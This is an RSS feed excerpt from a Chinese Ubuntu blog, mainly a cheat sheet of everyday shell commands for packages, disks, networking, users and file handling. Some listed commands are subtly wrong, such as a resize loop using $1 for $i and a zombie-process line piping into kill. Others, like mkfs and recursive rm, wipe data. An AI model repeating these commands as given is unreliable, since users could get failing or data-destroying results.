<li><a href='http://www.ubuntuhome.com/remove-old-image.html' rel='bookmark' title='Permanent Link: 再谈删除系统旧内核的方法'>再谈删除系统旧内核的方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/automatically-deleting.html' rel='bookmark' title='Permanent Link: 节省空间-自动删除下载的更新包'>节省空间-自动删除下载的更新包</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-usplash-fenbianlu.html' rel='bookmark' title='Permanent Link: 在Ubuntu中修改启动画面usplash的分辨率'>在Ubuntu中修改启动画面usplash的分辨率</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-alpha-6.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10 (Karmic Koala) Alpha 6 发布 包含 Ubuntu Software Store'>Ubuntu 9.10 (Karmic Koala) Alpha 6 发布 包含 Ubuntu Software Store</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntubreakintowindows.html' rel='bookmark' title='Permanent Link: 用ubuntu破解Windows（以及防御措施）'>用ubuntu破解Windows（以及防御措施）</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/ubuntu-intall-remove-command.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ubuntu命令大合集</title>
		<link>http://www.ubuntuhome.com/ubuntu-all-command.html</link>
		<comments>http://www.ubuntuhome.com/ubuntu-all-command.html#comments</comments>
		<pubDate>Fri, 10 Jul 2009 12:01:12 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.fcola.cn/?p=85</guid>
		<description><![CDATA[查看软件xxx安装内容 dpkg -L xxx 查找软件库中的软件 apt-cache search 正则表达式 查找软件库中的软件 aptitude search 软件包 查找文件属于哪个包 dpkg -S filename 查找文件属于哪个包 apt-file search filename 查询软件xxx依赖哪些包 apt-cache depends xxx 查询软件xxx被哪些包依赖 apt-cache rdepends xxx 增加一个光盘源 sudo apt-cdrom add 系统升级 sudo apt-get update;sudo apt-get dist-upgrade 清除已删除包的残馀配置文件 dpkg -l &#124;grep ^rc&#124;awk &#8216;{print $2}&#8217; &#124;sudo xargs dpkg -P 编译时缺少h文件的自动处理 sudo auto-apt run ./configure 查看安装软件时下载包的临时存放目录 [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-9-10-adsl.html' rel='bookmark' title='Permanent Link: ubuntu 9.10 无法上网及pppoeconf的设置'>ubuntu 9.10 无法上网及pppoeconf的设置</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-game-plants-vs-zombies.html' rel='bookmark' title='Permanent Link: 在Ubuntu中玩植物大战僵尸'>在Ubuntu中玩植物大战僵尸</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-auto-login.html' rel='bookmark' title='Permanent Link: linux/ubuntu 实现自动登录'>linux/ubuntu 实现自动登录</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-install-google-earth-6.html' rel='bookmark' title='Permanent Link: 在ubuntu中安装Google Earth 6'>在ubuntu中安装Google Earth 6</a></li>
<li><a href='http://www.ubuntuhome.com/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法'>Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/libreoffice-3-3-beta-2.html' rel='bookmark' title='Permanent Link: LibreOffice 3.3 Beta 2 发布'>LibreOffice 3.3 Beta 2 发布</a></li>
<li><a href='http://www.ubuntuhome.com/libreoffice-3-3-0-rc3-uploaded-toppa.html' rel='bookmark' title='Permanent Link: 快讯：LibreOffice 3.3.0 RC3上传至PPA源'>快讯：LibreOffice 3.3.0 RC3上传至PPA源</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />查看软件xxx安装内容<br />
dpkg -L xxx<br />
查找软件库中的软件<br />
apt-cache search 正则表达式<br />
查找软件库中的软件<br />
aptitude search 软件包<br />
查找文件属于哪个包<br />
dpkg -S filename<br />
查找文件属于哪个包<br />
apt-file search filename<br />
查询软件xxx依赖哪些包<br />
apt-cache depends xxx<br />
查询软件xxx被哪些包依赖<br />
apt-cache rdepends xxx<br />
增加一个光盘源<br />
sudo apt-cdrom add<br />
系统升级<br />
<span id="more-85"></span><br />
sudo apt-get update;sudo apt-get dist-upgrade<br />
清除已删除包的残馀配置文件<br />
dpkg -l |grep ^rc|awk &#8216;{print $2}&#8217; |sudo xargs dpkg -P<br />
编译时缺少h文件的自动处理<br />
sudo auto-apt run ./configure<br />
查看安装软件时下载包的临时存放目录<br />
ls /var/cache/apt/archives<br />
备份当前系统安装的所有包的列表<br />
dpkg &#8211;get-selections | grep -v deinstall > ~/somefile<br />
从备份的安装包的列表文件恢复所有包<br />
dpkg &#8211;set-selections < ~/somefile;sudo dselect<br />
清理旧版本的软件缓存<br />
sudo apt-get autoclean<br />
清理所有软件缓存<br />
sudo apt-get clean<br />
删除系统不再使用的孤立软件<br />
sudo apt-get autoremove<br />
查看包在服务器上面的地址<br />
apt-get -qq --print-uris install ssh | cut -d\\' -f2<br />
查看内核<br />
uname -a<br />
查看Ubuntu版本<br />
cat /etc/issue 或 lsb_release -a<br />
查看内核加载的模块<br />
lsmod<br />
查看PCI设备<br />
lspci<br />
查看USB设备<br />
lsusb -v<br />
查看网卡状态<br />
sudo ethtool eth0<br />
查看CPU信息<br />
cat /proc/cpuinfo<br />
显示当前硬件信息<br />
sudo lshw<br />
显示系统运行时间<br />
uptime<br />
查看硬盘的分区<br />
sudo fdisk -l<br />
硬盘分区sudo fdisk /dev/sda<br />
硬盘格式化<br />
sudo mkfs.ext3 /dev/sda1<br />
硬盘检查(请不要检查已经挂载的分区，否则容易损坏数据)<br />
sudo fsck /dev/sda1<br />
分区挂载<br />
sudo mount -t 文件系统类型 (-o nls=utf8 或 -o iocharset=utf8) 设备路经 访问路经<br />
分区卸载<br />
sudo umount 目录名或设备名<br />
查看IDE硬盘信息<br />
sudo hdparm -i /dev/hda<br />
查看STAT硬盘信息<br />
sudo hdparm -I /dev/sda 或 sudo blktool /dev/sda id<br />
查看硬盘剩馀空间<br />
df<br />
查看目录占用空间<br />
du -hs 目录名<br />
优盘没法卸载<br />
sync;fuser -km /media/usbdisk<br />
查看硬盘当前读写情况<br />
sudo iostat -x 2<br />
查看当前的内存使用情况<br />
free<br />
动态显示进程执行情况<br />
top<br />
查看当前有哪些进程<br />
ps -A<br />
查看当前进程树<br />
pstree<br />
中止一个进程<br />
kill 进程号 或 killall 进程名<br />
强制中止一个进程<br />
kill -9 进程号 或 killall -9 进程名<br />
图形方式中止一个程序<br />
xkill 出现骷髅标志的鼠标，点击需要中止的程序即可<br />
查看进程打开的文件<br />
lsof -p<br />
显示开启文件abc.txt的进程<br />
lsof abc.txt<br />
显示22端口现在运行什么程序<br />
lsof -i :22<br />
显示nsd进程现在打开的文件<br />
lsof -c nsd<br />
在后台运行程序，退出登录后，并不结束程序<br />
nohup 程序 &#038;<br />
详细显示程序的运行信息<br />
strace -f -F -o outfile <cmd><br />
增加系统最大打开文件个数<br />
ulimit -n 4096 或 echo 4096 > /proc/sys/fs/file-max<br />
配置 ADSL<br />
sudo pppoeconf<br />
ADSL手工拨号<br />
sudo pon dsl-provider<br />
激活 ADSL<br />
sudo /etc/ppp/pppoe_on_boot<br />
断开 ADSL<br />
sudo poff<br />
查看拨号日志<br />
sudo plog<br />
如何设置动态域名<br />
w3m -no-cookie -dump &#8216;http://usere:pass@members.3322.org/dyndns/update?system=dyndns&#038;hostname=yourdns.3322.org&#8217;<br />
根据IP查网卡地址<br />
arping IP地址<br />
根据IP查电脑名<br />
nmblookup -A IP地址<br />
查看当前IP地址<br />
ifconfig eth0 |awk &#8216;/inet/ {split($2,x,\”:\”);print x[2]}&#8217;<br />
查看当前外网的IP地址<br />
w3m -no-cookie -dump www.123cha.com|grep -o &#8216;[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}&#8217;<br />
查看当前监听80端口的程序<br />
lsof -i :80<br />
查看当前网卡的物理地址<br />
arp -a | awk &#8216;{print $4}&#8217;<br />
同一个网卡增加第二个IP地址<br />
sudo ifconfig eth0:0 1.2.3.4 netmask 255.255.255.0<br />
立即让网络支持nat<br />
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward; sudo iptables -t nat -I POSTROUTING -j MASQUERADE<br />
查看路由信息<br />
netstat -rn 或 sudo route -n<br />
手工增加一条路由<br />
sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1<br />
手工删除一条路由<br />
sudo route del -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1<br />
修改网卡MAC地址的方法<br />
sudo ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE<br />
统计当前IP连接的个数<br />
netstat -na|grep ESTABLISHED|awk &#8216;{print $5}&#8217;|awk -F: &#8216;{print $1}&#8217;|sort|uniq -c|sort -r -n<br />
屏蔽IPV6<br />
echo &#8216;blacklist ipv6&#8242; | sudo tee /etc/modprobe.d/blacklist-ipv6<br />
察看当前网络连接状况以及程序<br />
sudo netstat -atnp<br />
查看ADSL的当前流量<br />
sudo ethstatus -i ppp0<br />
查看域名的注册备案情况<br />
whois baidu.cn<br />
查看到某一个域名的路由情况<br />
tracepath baidu.cn<br />
重新从服务器获得IP地址<br />
sudo dhclient<br />
下载网站文档<br />
wget -r -p -np -k http://www.xxx.com<br />
如何5个线程下载<br />
axel -n 5 http://www.xxx.com/downloadfile.zip<br />
添加一个服务<br />
sudo update-rc.d 服务名 defaults 99<br />
删除一个服务<br />
sudo update-rc.d 服务名 remove<br />
临时重启一个服务<br />
/etc/init.d/服务名 restart<br />
临时关闭一个服务<br />
/etc/init.d/服务名 stop<br />
临时启动一个服务<br />
/etc/init.d/服务名 start<br />
增加用户<br />
sudo adduser 用户名<br />
删除用户<br />
sudo deluser 用户名<br />
修改当前用户的密码<br />
passwd<br />
修改用户密码<br />
sudo passwd 用户名<br />
修改用户资料<br />
sudo chfn userid<br />
如何禁用某个帐户<br />
sudo usermod -L 用户名 或 sudo passwd -l 用户名<br />
如何启用某个帐户<br />
sudo usermod -U 用户名 或 sudo passwd -u 用户名<br />
增加用户到admin组<br />
sudo usermod -G admin -a 用户名<br />
配置默认Java使用哪个<br />
sudo update-alternatives &#8211;config java<br />
终端设置代理<br />
export http_proxy=http://xx.xx.xx.xx:xxx<br />
修改系统登录信息<br />
sudo vim /etc/motd<br />
使用sun的java编译器<br />
sudo update-java-alternatives -s java-6-sun<br />
切换输入法引擎<br />
im-switch -c<br />
转换文件名由GBK为UTF8<br />
convmv -r -f cp936 -t utf8 &#8211;notest &#8211;nosmart *<br />
转换文件内容由GBK到UTF8<br />
iconv -f gbk -t utf8 $i > newfile<br />
转换 mp3 标签编码<br />
sudo apt-get install python-mutagen;find . -iname &#8216;*.mp3&#8242; -execdir mid3iconv -e GBK {} \\;<br />
控制台下显示中文<br />
sudo apt-get install zhcon;zhcon &#8211;utf8 &#8211;drv=vga<br />
lftp 登录远程Windows中文FTP　<br />
lftp :~>set ftp:charset GBK<br />
PDF 文件乱码<br />
sudo apt-get install xpdf-chinese-simplified xpdf-chinese-traditional poppler-data<br />
一屏查看文件内容<br />
cat 文件名<br />
分页查看文件内容<br />
more 文件名<br />
可控分页查看文件内容<br />
less 文件名<br />
根据字符串匹配来查看文件部分内容<br />
grep 字符串 文件名<br />
显示包含字符串的文件名<br />
grep -l -r 字符串 路径<br />
显示不包含字符串的文件名<br />
grep -L -r 字符串 路径<br />
快速查找某个文件<br />
find 目录 -name 文件名<br />
创建两个空文件<br />
touch file1 file2<br />
递归式创建一些嵌套目录<br />
mkdir –p /tmp/xxs/dsd/efd<br />
递归式删除嵌套目录<br />
rm –fr /tmp/xxs<br />
回当前用户的宿主目录<br />
cd ~<br />
查看当前所在目录的绝对路经<br />
pwd<br />
列出当前目录下的所有文件<br />
ls -a<br />
移动路径下的文件并改名<br />
mv 路径/文件 /新路径/新文件名<br />
复制文件或者目录<br />
cp -av 原文件或原目录 新文件或新目录<br />
查看文件类型<br />
file filename<br />
对比两个文件之间的差异<br />
diff file1 file2<br />
显示xxx文件倒数6行的内容<br />
tail -n 6 xxx<br />
不停地显示最新的内容<br />
tail -n 10 -f /var/log/apache2/access.log<br />
查看文件第五行到第10行的内容<br />
sed -n &#8217;5,10p&#8217; /var/log/apache2/access.log<br />
查找关于xxx的命令<br />
apropos xxx 或 man -k xxx<br />
通过ssh传输文件<br />
scp -rp /path/filename username@remoteIP:/path<br />
把所有文件的后辍由rm改为rmvb<br />
rename &#8216;s/.rm$/.rmvb/&#8217; *<br />
把所有文件名中的大写改为小写<br />
rename &#8216;tr/A-Z/a-z/&#8217; *<br />
删除特殊文件名 &#8211;help.txt 的文件<br />
rm &#8212; &#8211;help.txt 或 rm ./&#8211;help.txt<br />
查看当前目录的子目录<br />
ls -d */. 或 echo */.<br />
将最近30天访问过的文件移动到上级back目录<br />
find . -type f -atime -30 -exec mv {} ../back \\;<br />
显示一小时以内的包含 xxxx 的文件<br />
find . -type f -mmin -60|xargs -i grep -l xxxx &#8216;{}&#8217;<br />
显示最近2小时到8小时之内的文件<br />
find . -mmin +120 -mmin -480 -exec more {} \\;<br />
删除修改时间在30天之前的文件<br />
find . -type f -mtime +30 -mtime -3600 -exec rm {} \\;<br />
删除创建时间在30天之前的文件<br />
find . -type f -ctime +30 -ctime -3600 -exec rm {} \\;<br />
删除掉guest的以avi或rm结尾的文件<br />
find . -name &#8216;*.avi&#8217; -o -name &#8216;*.rm&#8217; -user &#8216;guest&#8217; -exec rm {} \\;<br />
删除掉不以java和xml结尾7天没有使用的文件<br />
find . ! -name *.java ! -name &#8216;*.xml&#8217; -atime +7 -exec rm {} \\;<br />
删除所有的 .svn 目录<br />
find . -name .svn -type d -exec rm -fr {} \\;<br />
删除所有以“~”结尾的临时文件<br />
find . -name &#8216;*~&#8217; -exec rm {} \\;<br />
统计当前文件个数<br />
ls .|wc -w<br />
统计当前目录个数<br />
ls -l |grep ^d|wc -l<br />
显示当前目录下2006-01-01的文件名<br />
ls -l |grep 2006-01-01 |awk &#8216;{print $8}&#8217;<br />
使用ssh方式同步远程数据到本地目录<br />
rsync -Pa -I &#8211;size-only &#8211;delete &#8211;timeout=300 Remote_IP:/home/ubuntu /backup<br />
增加 7Z 压缩软件<br />
sudo apt-get install p7zip p7zip-full p7zip-rar<br />
增加 rar 软件压缩和解压缩支持<br />
sudo apt-get install rar unrar<br />
解压缩 xxx.tar.gz<br />
tar -zxvf xxx.tar.gz<br />
解压缩 xxx.tar.bz2<br />
tar -jxvf xxx.tar.bz2<br />
压缩aaa bbb目录为xxx.tar.gz<br />
tar -zcvf xxx.tar.gz aaa bbb<br />
压缩aaa bbb目录为xxx.tar.bz2<br />
tar -jcvf xxx.tar.bz2 aaa bbb<br />
增加 lha 支持<br />
sudo apt-get install lha<br />
增加解 cab 文件支持<br />
sudo apt-get install cabextract<br />
显示日历<br />
cal<br />
设置日期<br />
date -s mm/dd/yy<br />
设置时间<br />
date -s HH:MM<br />
将时间写入CMOS<br />
hwclock &#8211;systohc<br />
查看CMOS时间<br />
hwclock &#8211;show<br />
读取CMOS时间<br />
hwclock &#8211;hctosys<br />
从服务器上同步时间<br />
sudo ntpdate ntp.ubuntu.com<br />
设置电脑的时区为上海<br />
sudo cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime<br />
关闭UTC，将当前时间写入CMOS。<br />
sudo sed -ie &#8216;s/UTC=yes/UTC=no/g&#8217; /etc/default/rcS;sudo hwclock &#8211;systohc<br />
修改mysql的root口令<br />
sudo mysqladmin -u root -p password &#8216;你的新密码&#8217;<br />
如何使用命令关闭显示器<br />
xset dpms force off<br />
设置CPU的频率<br />
sudo apt-get install cpufrequtils;sudo cpufreq-info<br />
命令关机<br />
sudo halt<br />
现在关机<br />
sudo shutdown -h now<br />
晚上11点自动关机<br />
sudo shutdown -h 23:00<br />
60分钟后关机<br />
sudo shutdown -h +60<br />
命令重启电脑<br />
sudo reboot<br />
现在重启电脑<br />
sudo shutdown -r now<br />
关闭笔记本的触摸板<br />
synclient touchpadoff=1<br />
开启笔记本的触摸板<br />
synclient touchpadoff=0<br />
统计每个单词的出现频率并排序<br />
awk &#8216;{arr[$1]+=1 }END{for(i in arr){print arr[i]\”\\t\”i}}&#8217; FILE_NAME | sort -rn<br />
统计80端口的连接并排序<br />
netstat -na|grep :80|awk &#8216;{print $5}&#8217;|awk -F: &#8216;{print $1}&#8217;|sort|uniq -c|sort -r -n<br />
把终端加到右键菜单<br />
sudo apt-get install nautilus-open-terminal<br />
如何删除Totem电影播放机的播放历史记录<br />
rm ~/.recently-used<br />
vim 如何显示彩色字符<br />
sudo cp /usr/share/vim/vimcurrent/vimrc_example.vim /usr/share/vim/vimrc<br />
让 vim 直接支持编辑 .gz 文件<br />
sudo apt-get install vim-full<br />
vim 如何显示行号<br />
:set number<br />
查看在会话设置的启动程序<br />
ls ~/.config/autostart<br />
提高wine的反应速度<br />
sudo sed -ie &#8216;/GBK/,/^}/d&#8217; /usr/share/X11/locale/zh_CN.UTF-8/XLC_LOCALE<br />
制作ISO文件<br />
mkisofs -o test.iso -Jrv -V test_disk /home/carla/<br />
延迟10秒抓图<br />
gnome-screenshot -d 10<br />
延迟5秒抓当前激活窗口<br />
gnome-screenshot -w -d 5<br />
如何命令行刻录<br />
cdrecord -scanbus;cdrecord -v -eject speed=8 dev=1,1,0 test.iso<br />
回收站在哪里<br />
~/.local/share/Trash/<br />
默认打开方式的配置文件在哪里<br />
~/.local/share/applications/mimeapps.list<br />
如何查看HTTP头<br />
w3m -dump_head http://www.xxx.com<br />
连续监视内存使用情况<br />
watch -d free<br />
如何切换到root帐号<br />
sudo -Hs<br />
只读挂载ntfs分区<br />
sudo mount -t ntfs -o nls=utf8,umask=0 /dev/sdb1 /mnt/c<br />
可写挂载ntfs分区<br />
sudo mount -t ntfs-3g -o locale=zh_CN.utf8,umask=0 /dev/sdb1 /mnt/c<br />
挂载fat32分区<br />
sudo mount -t vfat -o iocharset=utf8,umask=0 /dev/sda1 /mnt/c<br />
挂载共享文件<br />
sudo mount -t smbfs -o username=xxx,password=xxx,iocharset=utf8 //192.168.1.1/share /mnt/share<br />
挂载ISO文件<br />
sudo mount -t iso9660 -o loop,utf8 xxx.iso /mnt/iso<br />
带行号显示文件的内容<br />
nl 文件名<br />
批量将rmvb转为avi<br />
for i in *; do mencoder -oac mp3lame -lameopts vbr=3 -ovc xvid -xvidencopts fixed_quant=4 -of avi $i -o `echo $i | sed -e &#8216;s/rmvb$/avi/&#8217;`; done<br />
批量将svg转为png<br />
for i in *; do inkscape $i &#8211;export-png=`echo $i | sed -e &#8216;s/svg$/png/&#8217;`; done<br />
批量缩小图片到30%<br />
for i in *; do convert -resize 30%x30% $1 sm-$1; done<br />
批量转换jpg到png<br />
for i in *; do convert $i `echo $i | sed -e &#8216;s/jpg$/png/&#8217;`; done<br />
获取jpg的扩展信息(Exif)<br />
identify -verbose xxx.jpg<br />
查看当前系统所有的监听端口<br />
nc -zv localhost 1-65535<br />
去掉文件中的^M<br />
cat filename | tr -d \”^M\” > newfile<br />
去掉文件中的^M<br />
sed -e \”s/^M//g\” filename > newfile<br />
转换bin/cue到iso文件<br />
sudo apt-get install bchunk;bchunk image.bin image.cue image<br />
转换目录到iso文件<br />
mkisofs dirname -o isofile.iso<br />
转换CD到iso文件<br />
dd if=/dev/cdrom of=isofile.iso<br />
ape转换为flac<br />
sudo apt-get install flac shntool;shntool split -t \”%n.%p-%t\” -f example_UTF-8.cue -o flac example.ape -d flacOutputDir<br />
ape转换为mp3<br />
sudo apt-get install flac shntool lame;shntool split -t \”%n.%p-%t\” -f example_UTF-8.cue -o &#8216;cust ext=mp3 lame &#8211;r3mix -b 320 &#8211;quiet &#8211; %f&#8217; example.ape -d mp3OutputDir<br />
检查本地是否存在安全隐患<br />
sudo apt-get install rkhunter;rkhunter &#8211;checkall<br />
如何安装杀毒软件<br />
sudo apt-get install clamav;clamscan -r ~/<br />
查看网络连接状态<br />
netstat -n | awk &#8216;/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}&#8217;<br />
统计程序的内存耗用<br />
ps -eo fname,rss|awk &#8216;{arr[$1]+=$2} END {for (i in arr) {print i,arr[i]}}&#8217;|sort -k2 -nr<br />
显示当前内存大小<br />
free -m |grep \”Mem\” | awk &#8216;{print $2}&#8217;<br />
按内存从大到小排列进程<br />
ps -eo \”%C : %p : %z : %a\”|sort -k5 -nr<br />
按cpu利用率从大到小排列进程<br />
ps -eo \”%C : %p : %z : %a\”|sort -nr<br />
统计当前目录下所有jpg文件的尺寸<br />
find . -name *.jpg -exec wc -c {} \\;|awk &#8216;{print $1}&#8217;|awk &#8216;{a+=$1}END{print a}&#8217;<br />
清除僵死进程<br />
ps -eal | awk &#8216;{ if ($2 == \”Z\”) {print $4}}&#8217; | sudo kill -9<br />
CD 抓轨为 mp3 (有损)<br />
sudo apt-get install abcde;abcde -o mp3 -b<br />
CD 抓轨为 Flac (无损)<br />
sudo apt-get install abcde;abcde -o flac -b<br />
显示系统安装包的统计信息<br />
apt-cache stats<br />
显示系统全部可用包的名称<br />
apt-cache pkgnames<br />
显示包的信息
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/ubuntu-all-command.html" rel="bookmark" title="ubuntu命令大合集">ubuntu命令大合集</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=85&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-9-10-adsl.html' rel='bookmark' title='Permanent Link: ubuntu 9.10 无法上网及pppoeconf的设置'>ubuntu 9.10 无法上网及pppoeconf的设置</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-game-plants-vs-zombies.html' rel='bookmark' title='Permanent Link: 在Ubuntu中玩植物大战僵尸'>在Ubuntu中玩植物大战僵尸</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-auto-login.html' rel='bookmark' title='Permanent Link: linux/ubuntu 实现自动登录'>linux/ubuntu 实现自动登录</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-install-google-earth-6.html' rel='bookmark' title='Permanent Link: 在ubuntu中安装Google Earth 6'>在ubuntu中安装Google Earth 6</a></li>
<li><a href='http://www.ubuntuhome.com/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法'>Ubuntu 10.04 安装Nvidia显卡后开机花屏的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/libreoffice-3-3-beta-2.html' rel='bookmark' title='Permanent Link: LibreOffice 3.3 Beta 2 发布'>LibreOffice 3.3 Beta 2 发布</a></li>
<li><a href='http://www.ubuntuhome.com/libreoffice-3-3-0-rc3-uploaded-toppa.html' rel='bookmark' title='Permanent Link: 快讯：LibreOffice 3.3.0 RC3上传至PPA源'>快讯：LibreOffice 3.3.0 RC3上传至PPA源</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/ubuntu-all-command.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux 常用命令收集[菜鸟版]</title>
		<link>http://www.ubuntuhome.com/ubuntu-mingli.html</link>
		<comments>http://www.ubuntuhome.com/ubuntu-mingli.html#comments</comments>
		<pubDate>Fri, 26 Jun 2009 01:09:42 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.fcola.cn/?p=71</guid>
		<description><![CDATA[[本菜鸟仅仅收录了菜鸟常用的命令,旨在方便新手入门,HX类生物就不用看了,以免被雷到 lol ] 所有命令按字母顺序排列,只介绍最常用参数,相信等你看完之后,就有能力man更详细的用法了 此前own也曾发表过几篇文章,详细的介绍了几个命令比如ls,sudo,chmod等等,看不懂man的,请自行查找:) 直到前天群里有人问cd命令怎么用..暴寒~~想想也是,一定有很多在win下也没接触过命令的吧?于是决定写点东东 apt-get: debian系系统的软件包管理程序(其图形化前端就是大名鼎鼎的新立得了),会自动帮你搞定依赖关系 最常用参数: update        —-与你的软件源(在/etc/apt/sources.list中列出)更新软件包列表,换源后需要执行 upgrade        —-根据update得到的源软件库与本地已经安装的对比,(如果需要升级就)全部升级 install        —-安装软件包(可以使用tab补全软件包的名字,比较方便) remove        —-卸载软件包 purge        —-卸载软件包,同时删除该软件的配置文件 source        —-从源里下载软件包的源码到当前目录(执行此命令的目录)并解压(除非指定–download-only参数) 该地址由/etc/apt/sources.list中的 deb-src 行指定 check        —-用来(自动)修复(已装)软件包之间的依赖关系 clean        —-清除/var/cache/apt/archives/包括其子目录partial/下的所有软件包缓存 autoclean    —-比clean常用,我的理解是删除低版本的缓存而保留高版本的(或者包括非当前源里的软件包?) aptitude: 此为PT同学补充,他的说法是aptitude比apt-get少个横线,tab补全比较容易(=.=)~大概神牛都比较懒吧 不得不提下蛋蛋童鞋以前说过的ubuntu彩蛋:) &#60;仅限于UBUNTU 8.04&#62; man apt        —-最后会看到 “本apt有着超级牛力” or “this APT has a super-cow power” [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/1119.html' rel='bookmark' title='Permanent Link: Linux 版 Chrome 即将支持 Linux 的系统密码管理系统'>Linux 版 Chrome 即将支持 Linux 的系统密码管理系统</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/linux-shutdown-command.html' rel='bookmark' title='Permanent Link: Linux 关机命令详解'>Linux 关机命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-install-skype.html' rel='bookmark' title='Permanent Link: 在ubuntu中安装Skype'>在ubuntu中安装Skype</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-04-install-openoffice-3-1-1.html' rel='bookmark' title='Permanent Link: Ubuntu 9.04 中安装最新的 OpenOffice.org 3.1.1'>Ubuntu 9.04 中安装最新的 OpenOffice.org 3.1.1</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-quick-key.html' rel='bookmark' title='Permanent Link: Linux/ubuntu常用快捷键大集合'>Linux/ubuntu常用快捷键大集合</a></li>
<li><a href='http://www.ubuntuhome.com/install-nvidia-graphics-drivers-190-42-in-ubuntu.html' rel='bookmark' title='Permanent Link: Ubuntu安装NVIDIA全新Linux驱动190.42版'>Ubuntu安装NVIDIA全新Linux驱动190.42版</a></li>
<li><a href='http://www.ubuntuhome.com/flashget-for-linux-1-0-3.html' rel='bookmark' title='Permanent Link: 快车Flashget for linux 1.0.3 测试版 发布!'>快车Flashget for linux 1.0.3 测试版 发布!</a></li>
